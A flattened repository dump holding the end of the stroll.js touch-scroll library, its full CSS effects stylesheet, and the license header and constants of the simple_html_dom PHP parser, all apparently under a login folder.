if( this.velocity ) { 345 | this.touch.isAccellerating = true; 346 | 347 | var scope = this; 348 | 349 | this.touch.accellerateTimeout = setTimeout( function() { 350 | scope.touch.isAccellerating = false; 351 | scope.velocity = 0; 352 | }, 500 ); 353 | } 354 | else { 355 | this.velocity = 0; 356 | } 357 | } 358 | } 359 | 360 | TouchList.prototype.onTouchMove = function( event ) { 361 | if( event.touches.length === 1 ) { 362 | var previous = this.touch.value; 363 | 364 | this.touch.value = event.touches[0].clientY; 365 | this.touch.lastMove = Date.now(); 366 | 367 | var sameDirection = ( this.touch.value > this.touch.previous && this.velocity < 0 ) 368 | || ( this.touch.value < this.touch.previous && this.velocity > 0 ); 369 | 370 | if( this.touch.isAccellerating && sameDirection ) { 371 | clearInterval( this.touch.accellerateTimeout ); 372 | 373 | // Increase velocity significantly 374 | this.velocity += ( this.touch.previous - this.touch.value ) / 10; 375 | } 376 | else { 377 | this.velocity = 0; 378 | 379 | this.touch.isAccellerating = false; 380 | this.touch.offset = Math.round( this.touch.start - this.touch.value ); 381 | } 382 | 383 | this.touch.previous = previous; 384 | } 385 | } 386 | 387 | TouchList.prototype.onTouchEnd = function( event ) { 388 | var distanceMoved = this.touch.start - this.touch.value; 389 | 390 | if( !this.touch.isAccellerating ) { 391 | // Apply velocity based on the start position of the touch 392 | this.velocity = ( this.touch.start - this.touch.value ) / 10; 393 | } 394 | 395 | // Don't apply any velocity if the touch ended in a still state 396 | if( Date.now() - this.touch.lastMove > 200 || Math.abs( this.touch.previous - this.touch.value ) < 5 ) { 397 | this.velocity = 0; 398 | } 399 | 400 | this.top.value += this.touch.offset; 401 | 402 | // Reset the variables used to determne swipe speed 403 | this.touch.offset = 0; 404 | this.touch.start = 0; 405 | this.touch.value = 0; 406 | this.touch.isActive = false; 407 | this.touch.isAccellerating = false; 408 | 409 | clearInterval( this.touch.accellerateTimeout ); 410 | 411 | // If a swipe was captured, prevent event propagation 412 | if( Math.abs( this.velocity ) > 4 || Math.abs( distanceMoved ) > 10 ) { 413 | event.preventDefault(); 414 | } 415 | }; 416 | 417 | /** 418 | * Apply past/future classes to list items outside of the viewport 419 | */ 420 | TouchList.prototype.update = function( force ) { 421 | // Determine the desired scroll top position 422 | var scrollTop = this.top.value + this.velocity + this.touch.offset; 423 | 424 | // Only scroll the list if there's input 425 | if( this.velocity || this.touch.offset ) { 426 | // Scroll the DOM and add on the offset from touch 427 | this.element.scrollTop = scrollTop; 428 | 429 | // Keep the scroll value within bounds 430 | scrollTop = Math.max( 0, Math.min( this.element.scrollTop, this.top.max ) ); 431 | 432 | // Cache the currently set scroll top and touch offset 433 | this.top.value = scrollTop - this.touch.offset; 434 | } 435 | 436 | // If there is no active touch, decay velocity 437 | if( !this.touch.isActive || this.touch.isAccellerating ) { 438 | this.velocity *= 0.95; 439 | } 440 | 441 | // Cut off early, the last fraction of velocity doesn't have 442 | // much impact on movement 443 | if( Math.abs( this.velocity ) < 0.15 ) { 444 | this.velocity = 0; 445 | } 446 | 447 | // Only proceed if the scroll position has changed 448 | if( scrollTop !== this.top.natural || force ) { 449 | this.top.natural = scrollTop; 450 | this.top.value = scrollTop - this.touch.offset; 451 | 452 | var scrollBottom = scrollTop + this.listHeight; 453 | 454 | // One loop to make our changes to the DOM 455 | for( var i = 0, len = this.items.length; i < len; i++ ) { 456 | var item = this.items[i]; 457 | 458 | // Above list viewport 459 | if( item._offsetBottom < scrollTop ) { 460 | // Exclusion via string matching improves performance 461 | if( this.velocity <= 0 && item._state !== 'past' ) { 462 | item.classList.add( 'past' ); 463 | item._state = 'past'; 464 | } 465 | } 466 | // Below list viewport 467 | else if( item._offsetTop > scrollBottom ) { 468 | // Exclusion via string matching improves performance 469 | if( this.velocity >= 0 && item._state !== 'future' ) { 470 | item.classList.add( 'future' ); 471 | item._state = 'future'; 472 | } 473 | } 474 | // Inside of list viewport 475 | else if( item._state ) { 476 | if( item._state === 'past' ) item.classList.remove( 'past' ); 477 | if( item._state === 'future' ) item.classList.remove( 'future' ); 478 | item._state = ''; 479 | } 480 | } 481 | } 482 | }; 483 | 484 | /** 485 | * Cleans up after this list and disposes of it. 486 | */ 487 | TouchList.prototype.destroy = function() { 488 | List.prototype.destroy.apply( this ); 489 | 490 | this.element.removeEventListener( 'touchstart', this.touchStartDelegate, false ); 491 | this.element.removeEventListener( 'touchmove', this.touchMoveDelegate, false ); 492 | this.element.removeEventListener( 'touchend', this.touchEndDelegate, false ); 493 | } 494 | 495 | 496 | /** 497 | * Public API 498 | */ 499 | window.stroll = { 500 | /** 501 | * Binds one or more lists for scroll effects. 502 | * 503 | * @see #add() 504 | */ 505 | bind: function( target, options ) { 506 | if( isCapable() ) { 507 | batch( target, add, options ); 508 | } 509 | }, 510 | 511 | /** 512 | * Unbinds one or more lists from scroll effects. 513 | * 514 | * @see #remove() 515 | */ 516 | unbind: function( target ) { 517 | if( isCapable() ) { 518 | batch( target, remove ); 519 | } 520 | } 521 | } 522 | 523 | window.requestAnimFrame = (function(){ 524 | return window.requestAnimationFrame || 525 | window.webkitRequestAnimationFrame || 526 | window.mozRequestAnimationFrame || 527 | window.oRequestAnimationFrame || 528 | window.msRequestAnimationFrame || 529 | function( callback ){ 530 | window.setTimeout(callback, 1000 / 60); 531 | }; 532 | })() 533 | 534 | })(); 535 | -------------------------------------------------------------------------------- /login/css/stroll.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * stroll.js 1.2 - CSS scroll effects 3 | * http://lab.hakim.se/scroll-effects 4 | * MIT licensed 5 | * 6 | * Copyright (C) 2012 Hakim El Hattab, http://hakim.se 7 | */ 8 | 9 | 10 | /** 11 | * Shrink styles 12 | */ 13 | .cards { 14 | -webkit-perspective: 300px; 15 | -moz-perspective: 300px; 16 | -ms-perspective: 300px; 17 | -o-perspective: 300px; 18 | perspective: 300px; 19 | 20 | -webkit-perspective-origin: 50% 50%; 21 | -moz-perspective-origin: 50% 50%; 22 | -ms-perspective-origin: 50% 50%; 23 | -o-perspective-origin: 50% 50%; 24 | perspective-origin: 50% 50%; 25 | } 26 | 27 | .cards li { 28 | -webkit-transition: all 600ms ease; 29 | -moz-transition: all 600ms ease; 30 | -ms-transition: all 600ms ease; 31 | -o-transition: all 600ms ease; 32 | transition: all 600ms ease; 33 | 34 | -webkit-transform-origin: 100% 50%; 35 | -moz-transform-origin: 100% 50%; 36 | -ms-transform-origin: 100% 50%; 37 | -o-transform-origin: 100% 50%; 38 | transform-origin: 100% 50%; 39 | } 40 | .cards li.past { 41 | -webkit-transform: translate3d( 0, -100px, -100px ) rotateX( -90deg ); 42 | -moz-transform: translate3d( 0, -100px, -100px ) rotateX( -90deg ); 43 | -ms-transform: translate3d( 0, -100px, -100px ) rotateX( -90deg ); 44 | -o-transform: translate3d( 0, -100px, -100px ) rotateX( -90deg ); 45 | transform: translate3d( 0, -100px, -100px ) rotateX( -90deg ); 46 | } 47 | .cards li.future { 48 | -webkit-transform: translate3d( 0, 100px, -100px ) rotateX( 90deg ); 49 | -moz-transform: translate3d( 0, 100px, -100px ) rotateX( 90deg ); 50 | -ms-transform: translate3d( 0, 100px, -100px ) rotateX( 90deg ); 51 | -o-transform: translate3d( 0, 100px, -100px ) rotateX( 90deg ); 52 | transform: translate3d( 0, 100px, -100px ) rotateX( 90deg ); 53 | } 54 | 55 | 56 | /** 57 | * Grow styles 58 | */ 59 | .grow li { 60 | -webkit-transition: all 600ms ease; 61 | -moz-transition: all 600ms ease; 62 | -ms-transition: all 600ms ease; 63 | -o-transition: all 600ms ease; 64 | transition: all 600ms ease; 65 | 66 | -webkit-transform-origin: 50% 50%; 67 | -moz-transform-origin: 50% 50%; 68 | -ms-transform-origin: 50% 50%; 69 | -o-transform-origin: 50% 50%; 70 | transform-origin: 50% 50%; 71 | } 72 | .grow li.past { 73 | -webkit-transform: scale( 0.01 ); 74 | -moz-transform: scale( 0.01 ); 75 | -ms-transform: scale( 0.01 ); 76 | -o-transform: scale( 0.01 ); 77 | transform: scale( 0.01 ); 78 | } 79 | .grow li.future { 80 | -webkit-transform: scale( 0.01 ); 81 | -moz-transform: scale( 0.01 ); 82 | -ms-transform: scale( 0.01 ); 83 | -o-transform: scale( 0.01 ); 84 | transform: scale( 0.01 ); 85 | } 86 | 87 | 88 | /** 89 | * Flip styles 90 | */ 91 | .flip { 92 | -webkit-perspective: 400px; 93 | -moz-perspective: 400px; 94 | -ms-perspective: 400px; 95 | -o-perspective: 400px; 96 | perspective: 400px; 97 | 98 | -webkit-perspective-origin: 50% 50%; 99 | -moz-perspective-origin: 50% 50%; 100 | -ms-perspective-origin: 50% 50%; 101 | -o-perspective-origin: 50% 50%; 102 | perspective-origin: 50% 50%; 103 | } 104 | 105 | .flip li { 106 | -webkit-transition: all 600ms ease, 107 | opacity 300ms ease; 108 | -moz-transition: all 600ms ease; 109 | -ms-transition: all 600ms ease, 110 | opacity 300ms ease; 111 | -o-transition: all 600ms ease, 112 | opacity 300ms ease; 113 | transition: all 600ms ease, 114 | opacity 300ms ease; 115 | 116 | -webkit-transform-origin: 0% 0%; 117 | -moz-transform-origin: 0% 0%; 118 | -ms-transform-origin: 0% 0%; 119 | -o-transform-origin: 0% 0%; 120 | transform-origin: 0% 0%; 121 | } 122 | .flip li.past { 123 | opacity: 0; 124 | 125 | -webkit-transform-origin: 0% 100%; 126 | -moz-transform-origin: 0% 100%; 127 | -ms-transform-origin: 0% 100%; 128 | -o-transform-origin: 0% 100%; 129 | transform-origin: 0% 100%; 130 | 131 | -webkit-transform: rotateX( 80deg ); 132 | -moz-transform: rotateX( 80deg ); 133 | -ms-transform: rotateX( 80deg ); 134 | -o-transform: rotateX( 80deg ); 135 | transform: rotateX( 80deg ); 136 | } 137 | .flip li.future { 138 | opacity: 0; 139 | 140 | -webkit-transform: rotateX( -80deg ); 141 | -moz-transform: rotateX( -80deg ); 142 | -ms-transform: rotateX( -80deg ); 143 | -o-transform: rotateX( -80deg ); 144 | transform: rotateX( -80deg ); 145 | } 146 | 147 | /** 148 | * Fly styles 149 | */ 150 | .fly { 151 | -webkit-perspective: 400px; 152 | -moz-perspective: 400px; 153 | -ms-perspective: 400px; 154 | -o-perspective: 400px; 155 | perspective: 400px; 156 | 157 | -webkit-perspective-origin: 50% 50%; 158 | -moz-perspective-origin: 50% 50%; 159 | -ms-perspective-origin: 50% 50%; 160 | -o-perspective-origin: 50% 50%; 161 | perspective-origin: 50% 50%; 162 | } 163 | 164 | .fly li { 165 | -webkit-transition: all 600ms ease, opacity 300ms ease; 166 | -moz-transition: all 600ms ease; 167 | -ms-transition: all 600ms ease, opacity 300ms ease; 168 | -o-transition: all 600ms ease, opacity 300ms ease; 169 | transition: all 600ms ease, opacity 300ms ease; 170 | 171 | -webkit-transform-origin: 50% 50% -50px; 172 | -moz-transform-origin: 50% 50% -50px; 173 | -ms-transform-origin: 50% 50% -50px; 174 | -o-transform-origin: 50% 50% -50px; 175 | transform-origin: 50% 50% -50px; 176 | } 177 | .fly li.past { 178 | opacity: 0; 179 | 180 | -webkit-transform: rotateX( 180deg ); 181 | -moz-transform: rotateX( 180deg ); 182 | -ms-transform: rotateX( 180deg ); 183 | -o-transform: rotateX( 180deg ); 184 | transform: rotateX( 180deg ); 185 | } 186 | .fly li.future { 187 | opacity: 0; 188 | 189 | -webkit-transform: rotateX( -180deg ); 190 | -moz-transform: rotateX( -180deg ); 191 | -ms-transform: rotateX( -180deg ); 192 | -o-transform: rotateX( -180deg ); 193 | transform: rotateX( -180deg ); 194 | } 195 | 196 | .fly-simplified { 197 | -webkit-perspective: 300px; 198 | -moz-perspective: 300px; 199 | -ms-perspective: 300px; 200 | -o-perspective: 300px; 201 | perspective: 300px; 202 | 203 | -webkit-perspective-origin: 50% 50%; 204 | -moz-perspective-origin: 50% 50%; 205 | -ms-perspective-origin: 50% 50%; 206 | -o-perspective-origin: 50% 50%; 207 | perspective-origin: 50% 50%; 208 | } 209 | 210 | .fly-simplified li { 211 | -webkit-transition: all 600ms ease; 212 | -moz-transition: all 600ms ease; 213 | -ms-transition: all 600ms ease; 214 | -o-transition: all 600ms ease; 215 | transition: all 600ms ease; 216 | 217 | -webkit-transform-origin: 100% 50%; 218 | -moz-transform-origin: 100% 50%; 219 | -ms-transform-origin: 100% 50%; 220 | -o-transform-origin: 100% 50%; 221 | transform-origin: 100% 50%; 222 | } 223 | .fly-simplified li.past { 224 | -webkit-transform: translate3d( 0, -100px, -100px ) rotateX( 90deg ); 225 | -moz-transform: translate3d( 0, -100px, -100px ) rotateX( 90deg ); 226 | -ms-transform: translate3d( 0, -100px, -100px ) rotateX( 90deg ); 227 | -o-transform: translate3d( 0, -100px, -100px ) rotateX( 90deg ); 228 | transform: translate3d( 0, -100px, -100px ) rotateX( 90deg ); 229 | } 230 | .fly-simplified li.future { 231 | -webkit-transform: translate3d( 0, 100px, -100px ) rotateX( -90deg ); 232 | -moz-transform: translate3d( 0, 100px, -100px ) rotateX( -90deg ); 233 | -ms-transform: translate3d( 0, 100px, -100px ) rotateX( -90deg ); 234 | -o-transform: translate3d( 0, 100px, -100px ) rotateX( -90deg ); 235 | transform: translate3d( 0, 100px, -100px ) rotateX( -90deg ); 236 | } 237 | 238 | /** 239 | * Reverse fly styles 240 | */ 241 | .fly-reverse { 242 | -webkit-perspective: 400px; 243 | -moz-perspective: 400px; 244 | -ms-perspective: 400px; 245 | -o-perspective: 400px; 246 | perspective: 400px; 247 | 248 | -webkit-perspective-origin: 50% 50%; 249 | -moz-perspective-origin: 50% 50%; 250 | -ms-perspective-origin: 50% 50%; 251 | -o-perspective-origin: 50% 50%; 252 | perspective-origin: 50% 50%; 253 | } 254 | 255 | .fly-reverse li { 256 | -webkit-transition: all 600ms ease, opacity 300ms ease; 257 | -moz-transition: all 600ms ease; 258 | -ms-transition: all 600ms ease, opacity 300ms ease; 259 | -o-transition: all 600ms ease, opacity 300ms ease; 260 | transition: all 600ms ease, opacity 300ms ease; 261 | 262 | -webkit-transform-origin: 50% 50% -50px; 263 | -moz-transform-origin: 50% 50% -50px; 264 | -ms-transform-origin: 50% 50% -50px; 265 | -o-transform-origin: 50% 50% -50px; 266 | transform-origin: 50% 50% -50px; 267 | } 268 | .fly-reverse li.past { 269 | opacity: 0; 270 | 271 | -webkit-transform: rotateX( -180deg ); 272 | -moz-transform: rotateX( -180deg ); 273 | -ms-transform: rotateX( -180deg ); 274 | -o-transform: rotateX( -180deg ); 275 | transform: rotateX( -180deg ); 276 | } 277 | .fly-reverse li.future { 278 | opacity: 0; 279 | 280 | -webkit-transform: rotateX( 180deg ); 281 | -moz-transform: rotateX( 180deg ); 282 | -ms-transform: rotateX( 180deg ); 283 | -o-transform: rotateX( 180deg ); 284 | transform: rotateX( 180deg ); 285 | } 286 | 287 | /** 288 | * Skew 289 | */ 290 | .skew { 291 | -webkit-perspective: 600px; 292 | -moz-perspective: 600px; 293 | -ms-perspective: 600px; 294 | -o-perspective: 600px; 295 | perspective: 600px; 296 | 297 | -webkit-perspective-origin: 0% 50%; 298 | -moz-perspective-origin: 0% 50%; 299 | -ms-perspective-origin: 0% 50%; 300 | -o-perspective-origin: 0% 50%; 301 | perspective-origin: 0% 50%; 302 | } 303 | .skew li { 304 | -webkit-transition: all 600ms ease, 305 | opacity 200ms ease; 306 | -moz-transition: all 600ms ease; 307 | -ms-transition: all 600ms ease; 308 | -o-transition: all 600ms ease; 309 | transition: all 600ms ease; 310 | 311 | -webkit-transform-origin: 0% 0%; 312 | -moz-transform-origin: 0% 0%; 313 | -ms-transform-origin: 0% 0%; 314 | -o-transform-origin: 0% 0%; 315 | transform-origin: 0% 0%; 316 | } 317 | .skew li.past { 318 | -webkit-transform: skewY( 30deg ); 319 | -moz-transform: skewY( 30deg ); 320 | -ms-transform: skewY( 30deg ); 321 | -o-transform: skewY( 30deg ); 322 | transform: skewY( 30deg ); 323 | } 324 | .skew li.future { 325 | z-index: 0; 326 | 327 | -webkit-transform: skewY( -30deg ); 328 | -moz-transform: skewY( -30deg ); 329 | -ms-transform: skewY( -30deg ); 330 | -o-transform: skewY( -30deg ); 331 | transform: skewY( -30deg ); 332 | } 333 | 334 | 335 | /** 336 | * Helix styles 337 | */ 338 | .helix { 339 | -webkit-perspective: 600px; 340 | -moz-perspective: 600px; 341 | -ms-perspective: 600px; 342 | -o-perspective: 600px; 343 | perspective: 600px; 344 | 345 | -webkit-perspective-origin: 50% 50%; 346 | -moz-perspective-origin: 50% 50%; 347 | -ms-perspective-origin: 50% 50%; 348 | -o-perspective-origin: 50% 50%; 349 | perspective-origin: 50% 50%; 350 | } 351 | 352 | .helix li { 353 | -webkit-transition: all 600ms ease, 354 | opacity 200ms ease; 355 | -moz-transition: all 600ms ease; 356 | -ms-transition: all 600ms ease, 357 | opacity 200ms ease; 358 | -o-transition: all 600ms ease, 359 | opacity 200ms ease; 360 | transition: all 600ms ease, 361 | opacity 200ms ease; 362 | 363 | -webkit-transform-origin: 50% 50%; 364 | -moz-transform-origin: 50% 50%; 365 | -ms-transform-origin: 50% 50%; 366 | -o-transform-origin: 50% 50%; 367 | transform-origin: 50% 50%; 368 | } 369 | .helix li.past { 370 | opacity: 0; 371 | 372 | -webkit-transform: rotateY( 180deg ); 373 | -moz-transform: rotateY( 180deg ); 374 | -ms-transform: rotateY( 180deg ); 375 | -o-transform: rotateY( 180deg ); 376 | transform: rotateY( 180deg ); 377 | } 378 | .helix li.future { 379 | opacity: 0; 380 | 381 | -webkit-transform: rotateY( -180deg ); 382 | -moz-transform: rotateY( -180deg ); 383 | -ms-transform: rotateY( -180deg ); 384 | -o-transform: rotateY( -180deg ); 385 | transform: rotateY( -180deg ); 386 | } 387 | 388 | 389 | /** 390 | * Wave styles 391 | */ 392 | .wave li { 393 | -webkit-transition: all 600ms cubic-bezier(0.260, 0.860, 0.440, 0.985); 394 | -moz-transition: all 600ms cubic-bezier(0.260, 0.860, 0.440, 0.985); 395 | -ms-transition: all 600ms cubic-bezier(0.260, 0.860, 0.440, 0.985); 396 | -o-transition: all 600ms cubic-bezier(0.260, 0.860, 0.440, 0.985); 397 | transition: all 600ms cubic-bezier(0.260, 0.860, 0.440, 0.985); 398 | } 399 | .wave li.past { 400 | -webkit-transform: translateX( -70% ); 401 | -moz-transform: translateX( -70% ); 402 | -ms-transform: translateX( -70% ); 403 | -o-transform: translateX( -70% ); 404 | transform: translateX( -70% ); 405 | } 406 | .wave li.future { 407 | -webkit-transform: translateX( -70% ); 408 | -moz-transform: translateX( -70% ); 409 | -ms-transform: translateX( -70% ); 410 | -o-transform: translateX( -70% ); 411 | transform: translateX( -70% ); 412 | } 413 | 414 | 415 | /** 416 | * Fan styles 417 | */ 418 | .fan li { 419 | -webkit-transition: all 600ms cubic-bezier(0.390, 0.575, 0.565, 1.000); 420 | -moz-transition: all 600ms cubic-bezier(0.390, 0.575, 0.565, 1.000); 421 | -ms-transition: all 600ms cubic-bezier(0.390, 0.575, 0.565, 1.000); 422 | -o-transition: all 600ms cubic-bezier(0.390, 0.575, 0.565, 1.000); 423 | transition: all 600ms cubic-bezier(0.390, 0.575, 0.565, 1.000); 424 | 425 | -webkit-transform-origin: 0% 0%; 426 | -moz-transform-origin: 0% 0%; 427 | -ms-transform-origin: 0% 0%; 428 | -o-transform-origin: 0% 0%; 429 | transform-origin: 0% 0%; 430 | } 431 | .fan li.past { 432 | -webkit-transform: rotate( -60deg ); 433 | -moz-transform: rotate( -60deg ); 434 | -ms-transform: rotate( -60deg ); 435 | -o-transform: rotate( -60deg ); 436 | transform: rotate( -60deg ); 437 | } 438 | .fan li.future { 439 | -webkit-transform: rotate( 70deg ); 440 | -moz-transform: rotate( 70deg ); 441 | -ms-transform: rotate( 70deg ); 442 | -o-transform: rotate( 70deg ); 443 | transform: rotate( 70deg ); 444 | } 445 | 446 | 447 | /** 448 | * Tilt styles 449 | */ 450 | .tilt { 451 | -webkit-perspective: 800px; 452 | -moz-perspective: 800px; 453 | -ms-perspective: 800px; 454 | -o-perspective: 800px; 455 | perspective: 800px; 456 | 457 | -webkit-perspective-origin: 50% 50%; 458 | -moz-perspective-origin: 50% 50%; 459 | -ms-perspective-origin: 50% 50%; 460 | -o-perspective-origin: 50% 50%; 461 | perspective-origin: 50% 50%; 462 | } 463 | 464 | .tilt li { 465 | position: relative; 466 | 467 | -webkit-transition: all 1000ms cubic-bezier(0.260, 0.860, 0.440, 0.985), 468 | opacity 300ms ease; 469 | -moz-transition: all 1000ms cubic-bezier(0.260, 0.860, 0.440, 0.985); 470 | -ms-transition: all 1000ms cubic-bezier(0.260, 0.860, 0.440, 0.985), 471 | opacity 300ms ease; 472 | -o-transition: all 1000ms cubic-bezier(0.260, 0.860, 0.440, 0.985), 473 | opacity 300ms ease; 474 | transition: all 1000ms cubic-bezier(0.260, 0.860, 0.440, 0.985), 475 | opacity 300ms ease; 476 | } 477 | .tilt li.past { 478 | opacity: 0; 479 | 480 | -webkit-transform: translateY( 100% ) translateZ(-200px); 481 | -moz-transform: translateY( 100% ) translateZ(-200px); 482 | -ms-transform: translateY( 100% ) translateZ(-200px); 483 | -o-transform: translateY( 100% ) translateZ(-200px); 484 | transform: translateY( 100% ) translateZ(-200px); 485 | } 486 | .tilt li.future { 487 | opacity: 0; 488 | 489 | -webkit-transform: translateY( -100% ) translateZ(-200px); 490 | -moz-transform: translateY( -100% ) translateZ(-200px); 491 | -ms-transform: translateY( -100% ) translateZ(-200px); 492 | -o-transform: translateY( -100% ) translateZ(-200px); 493 | transform: translateY( -100% ) translateZ(-200px); 494 | } 495 | 496 | 497 | /** 498 | * Curl styles 499 | */ 500 | .curl { 501 | -webkit-perspective: 600px; 502 | -moz-perspective: 600px; 503 | -ms-perspective: 600px; 504 | -o-perspective: 600px; 505 | perspective: 600px; 506 | 507 | -webkit-perspective-origin: 0% 50%; 508 | -moz-perspective-origin: 0% 50%; 509 | -ms-perspective-origin: 0% 50%; 510 | -o-perspective-origin: 0% 50%; 511 | perspective-origin: 0% 50%; 512 | } 513 | 514 | .curl li { 515 | -webkit-transition: all 600ms ease, 516 | opacity 200ms ease; 517 | -moz-transition: all 600ms ease; 518 | -ms-transition: all 600ms ease, 519 | opacity 200ms ease; 520 | -o-transition: all 600ms ease, 521 | opacity 200ms ease; 522 | transition: all 600ms ease, 523 | opacity 200ms ease; 524 | 525 | -webkit-transform-origin: 0% 0%; 526 | -moz-transform-origin: 0% 0%; 527 | -ms-transform-origin: 0% 0%; 528 | -o-transform-origin: 0% 0%; 529 | transform-origin: 0% 0%; 530 | 531 | -webkit-backface-visibility: hidden; 532 | -moz-backface-visibility: hidden; 533 | -ms-backface-visibility: hidden; 534 | -o-backface-visibility: hidden; 535 | backface-visibility: hidden; 536 | } 537 | .curl li.past { 538 | opacity: 0; 539 | 540 | -webkit-transform: rotateY( 90deg ); 541 | -moz-transform: rotateY( 90deg ); 542 | -ms-transform: rotateY( 90deg ); 543 | -o-transform: rotateY( 90deg ); 544 | transform: rotateY( 90deg ); 545 | } 546 | .curl li.future { 547 | opacity: 0; 548 | 549 | -webkit-transform: rotateY( 90deg ); 550 | -moz-transform: rotateY( 90deg ); 551 | -ms-transform: rotateY( 90deg ); 552 | -o-transform: rotateY( 90deg ); 553 | transform: rotateY( 90deg ); 554 | } 555 | 556 | 557 | .papercut { 558 | -webkit-perspective: 600px; 559 | -moz-perspective: 600px; 560 | -ms-perspective: 600px; 561 | -o-perspective: 600px; 562 | perspective: 600px; 563 | 564 | -webkit-perspective-origin: 0% 0%; 565 | -moz-perspective-origin: 0% 0%; 566 | -ms-perspective-origin: 0% 0%; 567 | -o-perspective-origin: 0% 0%; 568 | perspective-origin: 0% 0%; 569 | } 570 | .papercut li { 571 | -webkit-transition: all 600ms ease; 572 | -moz-transition: all 600ms ease; 573 | -ms-transition: all 600ms ease; 574 | -o-transition: all 600ms ease; 575 | transition: all 600ms ease; 576 | 577 | -webkit-transform-origin: 0% 0%; 578 | -moz-transform-origin: 0% 0%; 579 | -ms-transform-origin: 0% 0%; 580 | -o-transform-origin: 0% 0%; 581 | transform-origin: 0% 0%; 582 | } 583 | .papercut li.past { 584 | -webkit-transform: skewY( -30deg ); 585 | -moz-transform: skewY( -30deg ); 586 | -ms-transform: skewY( -30deg ); 587 | -o-transform: skewY( -30deg ); 588 | transform: skewY( -30deg ); 589 | } 590 | .papercut li.future { 591 | -webkit-transform: skewY( 30deg ); 592 | -moz-transform: skewY( 30deg ); 593 | -ms-transform: skewY( 30deg ); 594 | -o-transform: skewY( 30deg ); 595 | transform: skewY( 30deg ); 596 | } 597 | 598 | 599 | /** 600 | * Zipper styles 601 | */ 602 | .zipper li { 603 | -webkit-transition: all 600ms cubic-bezier(0.390, 0.575, 0.565, 1.000); 604 | -moz-transition: all 600ms cubic-bezier(0.390, 0.575, 0.565, 1.000); 605 | -ms-transition: all 600ms cubic-bezier(0.390, 0.575, 0.565, 1.000); 606 | -o-transition: all 600ms cubic-bezier(0.390, 0.575, 0.565, 1.000); 607 | transition: all 600ms cubic-bezier(0.390, 0.575, 0.565, 1.000); 608 | 609 | -webkit-transform-origin: 50% 0%; 610 | -moz-transform-origin: 50% 0%; 611 | -ms-transform-origin: 50% 0%; 612 | -o-transform-origin: 50% 0%; 613 | transform-origin: 50% 0%; 614 | } 615 | .zipper li.past:nth-child(odd), 616 | .zipper li.future:nth-child(odd) { 617 | -webkit-transform: translateX( 80% ); 618 | -moz-transform: translateX( 80% ); 619 | -ms-transform: translateX( 80% ); 620 | -o-transform: translateX( 80% ); 621 | transform: translateX( 80% ); 622 | } 623 | .zipper li.past:nth-child(even), 624 | .zipper li.future:nth-child(even) { 625 | -webkit-transform: translateX( -80% ); 626 | -moz-transform: translateX( -80% ); 627 | -ms-transform: translateX( -80% ); 628 | -o-transform: translateX( -80% ); 629 | transform: translateX( -80% ); 630 | } 631 | 632 | 633 | /** 634 | * Fade styles 635 | */ 636 | .fade li { 637 | -webkit-transition: opacity .35s ease-in-out; 638 | -moz-transition: opacity .35s ease-in-out; 639 | -ms-transition: opacity .35s ease-in-out; 640 | -o-transition: opacity .35s ease-in-out; 641 | transition: opacity .35s ease-in-out; 642 | } 643 | .fade li.past { 644 | opacity: 0; 645 | } 646 | .fade li.future { 647 | opacity: 0; 648 | } 649 | 650 | 651 | /** 652 | * Twirl styles 653 | */ 654 | .twirl { 655 | -webkit-perspective: 400px; 656 | -moz-perspective: 400px; 657 | -ms-perspective: 400px; 658 | -o-perspective: 400px; 659 | perspective: 400px; 660 | 661 | -webkit-perspective-origin: 50% 50%; 662 | -moz-perspective-origin: 50% 50%; 663 | -ms-perspective-origin: 50% 50%; 664 | -o-perspective-origin: 50% 50%; 665 | perspective-origin: 50% 50%; 666 | } 667 | 668 | .twirl li { 669 | -webkit-transition: all 600ms ease, 670 | opacity 200ms ease; 671 | -moz-transition: all 600ms ease; 672 | -ms-transition: all 600ms ease, 673 | opacity 200ms ease; 674 | -o-transition: all 600ms ease, 675 | opacity 200ms ease; 676 | transition: all 600ms ease, 677 | opacity 200ms ease; 678 | 679 | -webkit-transform-origin: 50% 50%; 680 | -moz-transform-origin: 50% 50%; 681 | -ms-transform-origin: 50% 50%; 682 | -o-transform-origin: 50% 50%; 683 | transform-origin: 50% 50%; 684 | } 685 | .twirl li.past { 686 | opacity: 0; 687 | 688 | -webkit-transform: rotate3d( 80,-70,10,180deg ); 689 | -moz-transform: rotate3d( 80,70,10,180deg ); 690 | -ms-transform: rotate3d( 80,70,10,180deg ); 691 | -o-transform: rotate3d( 80,70,10,180deg ); 692 | transform: rotate3d( 80,70,10,180deg ); 693 | } 694 | .twirl li.future { 695 | opacity: 0; 696 | 697 | -webkit-transform: rotate3d( 80,70,10,-180deg ); 698 | -moz-transform: rotate3d( 80,70,10,-180deg ); 699 | -ms-transform: rotate3d( 80,70,10,-180deg ); 700 | -o-transform: rotate3d( 80,70,10,-180deg ); 701 | transform: rotate3d( 80,70,10,-180deg ); 702 | } 703 | -------------------------------------------------------------------------------- /login/simple_html_dom.php: -------------------------------------------------------------------------------- 1 | size is the "real" number of bytes the dom was created from. 18 | * but for most purposes, it's a really good estimation. 19 | * Paperg - Added the forceTagsClosed to the dom constructor. Forcing tags closed is great for malformed html, but it CAN lead to parsing errors. 20 | * Allow the user to tell us how much they trust the html. 21 | * Paperg add the text and plaintext to the selectors for the find syntax. plaintext implies text in the innertext of a node. text implies that the tag is a text node. 22 | * This allows for us to find tags based on the text they contain. 23 | * Create find_ancestor_tag to see if a tag is - at any level - inside of another specific tag. 24 | * Paperg: added parse_charset so that we know about the character set of the source document. 25 | * NOTE: If the user's system has a routine called get_last_retrieve_url_contents_content_type availalbe, we will assume it's returning the content-type header from the 26 | * last transfer or curl_exec, and we will parse that and use it in preference to any other method of charset detection. 27 | * 28 | * Found infinite loop in the case of broken html in restore_noise. Rewrote to protect from that. 29 | * PaperG (John Schlick) Added get_display_size for "IMG" tags. 30 | * 31 | * Licensed under The MIT License 32 | * Redistributions of files must retain the above copyright notice. 33 | * 34 | * @author S.C. Chen 35 | * @author John Schlick 36 | * @author Rus Carroll 37 | * @version 1.5 ($Rev: 210 $) 38 | * @package PlaceLocalInclude 39 | * @subpackage simple_html_dom 40 | */ 41 | 42 | /** 43 | * All of the Defines for the classes below. 44 | * @author S.C. Chen 45 | */ 46 | define('HDOM_TYPE_ELEMENT', 1); 47 | define('HDOM_TYPE_COMMENT', 2); 48 | define('HDOM_TYPE_TEXT', 3); 49 | define('HDOM_TYPE_ENDTAG', 4); 50 | define('HDOM_TYPE_ROOT', 5); 51 | define('HDOM_TYPE_UNKNOWN', 6); 52 | define('HDOM_QUOTE_DOUBLE', 0); 53 | define('HDOM_QUOTE_SINGLE', 1); 54 | 